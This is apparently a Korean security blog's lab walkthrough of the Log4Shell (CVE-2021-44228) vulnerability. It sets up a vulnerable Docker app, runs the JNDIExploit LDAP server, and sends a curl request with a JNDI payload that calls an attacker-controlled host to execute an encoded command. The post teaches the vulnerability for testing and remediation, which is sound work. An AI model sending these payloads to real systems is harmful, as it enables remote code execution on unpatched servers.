일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- iam
- forensic
- ISMS-P 인증심사원
- 해킹
- AWS Elasticsearch
- 포렌식
- 쿠버네티스
- Autopsy
- AWS EKS Udemy
- artifacts
- AWS EKS
- 모의해킹
- TSK
- SMS-P 인증 기준 안내서 요약
- hacking case
- The Sleuth Kit
- AWS 쿠버네티스
- 실습
- 보안기사
- kubernetes
- AWS
- AWS Opensearch
- 정보보안기사
- 보안
- CFReDS
- isms-p
- 정보보안기사 실기
- ISMS
- k8s
- 정보보안
- Today
- Total
Always-Try(정보보안 및 일상)
Log4j 보안 취약점 (CVE-2021-44228) 동작 원리 테스트 및 조치 방안 2/3 - 취약 환경 구성 및 테스트 본문
Log4j 보안 취약점 (CVE-2021-44228) 동작 원리 테스트 및 조치 방안 2/3 - 취약 환경 구성 및 테스트
Always-Try 2021. 12. 13. 22:062021.12.13 - [Pen Test] - Log4j 보안 취약점 (CVE-2021-44228) 쉽게 파해치기 1/3 - 취약점 개요
2021.12.13 - [Pen Test] - Log4j 보안 취약점 (CVE-2021-44228) 쉽게 파해치기 2/3 - 취약 환경 구성 및 테스트
2021.12.13 - [Pen Test] - Log4j 보안 취약점 (CVE-2021-44228) 쉽게 파해치기 3/3 - 취약점 점검 및 대응 방안
지난 1편에서는 개념을 알아봤고, 이제 AWS EC2를 하나 띄워서 실습 환경 구축을 통한 실습을 진행해본다. 아래 Github를 참고했으며, 해당 Github에 있는 대로 그대로 따라하면 오류 창을 볼 수 있는데, 가능하면 그대로 따라할 수 있도록 몇가지 명령어를 더 추가해서 포스팅한다.
https://github.com/christophetd/log4shell-vulnerable-app
1. 스프링 부트 docker 이미지 실행
참고로 스프링 부트란 자바 기반 스프링 프레임워크의 서브 프로젝트인데 웹 컨테이너가 내장되어 있어 쉽게 웹 어플레케이션을 만들 수 있는 프로젝트이다.
EC2 생성 후 스프링부트 이미지 실행을 위해 아래와 같이 명령어를 입력하자.
yum install docker dockerd docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app docker ps
2. 악성 LDAP Server 구동
그리고 LDAP Server를 구동하기 위한 jar 파일을 받아보고 실행해보자.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip yum install java-1.8.0-openjdk-devel.x86_64 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
3. 취약점 실현
이제 Curl을 통해 취약점 실현을 시켜보자. 아래 명령어에 dG91Y2ggL3RtcC9wd25lZAo= 는 Base64 인코딩 된 값으로 디코딩해보면 'touch /tmp/pwned'라는 것을 알 수 있다.
그리고 curl -H 옵션을 통해 X-Api-Version 의 Value 값에 공격자가 구성한 LDAP 서버 IP를 포함한 명령어를 전달한다. 참고로 테스트는 X-Api-Version 이라는 파라미터를 썼지만 실제로 공격은 User-Agent 파라미터를 통해 자주 들어오기도 한다.
curl 127.0.0.1(victim-ip):8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip(attacker-ip):1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
그럼 아래와 같이 LDAP IP:1389~~ 커맨드가 HTTP로 리다이렉트 되었다가 악의적인 명령어(touch /tmp/pwned)를 응답한다.
4. 기타
이외에도 취약점 발현 확인을 위해 dnslog.cn 사이트를 이용하는 방법도 있긴한데, 괜히 중국이라고 하니 찝찝하다. 구문만 알아두자. 이전에 했던 것과 비슷하게 ldap 쿼리 부분에 원하는 도메인을 넣고 도메인 쿼리가 가능한지 확인하는 방식이다.
'Pen Test' 카테고리의 다른 글
log4j 버전 별 취약점 및 신규 취약점 대응 방안 총 정리 (CVE-2019-17571, CVE-2021-44228, CVE-2021-45046, CVE-2021-4104) (0) | 2021.12.16 |
---|---|
Log4j 보안 취약점 (CVE-2021-44228) 동작 원리 테스트 및 조치 방안 3/3 - 취약점 점검 및 대응 방안 (6) | 2021.12.13 |
Log4j 보안 취약점 (CVE-2021-44228) 동작 원리 테스트 및 조치 방안 1/3 - 취약점 개요 (2) | 2021.12.13 |
모의해킹 테스트 사이트 구축 - 쥬시샵, prestashop (0) | 2021.10.06 |
OWASP-ZAP 사용 가이드 - 3. https 사이트 접속 시 사설 인증서 오류 (0) | 2021.08.29 |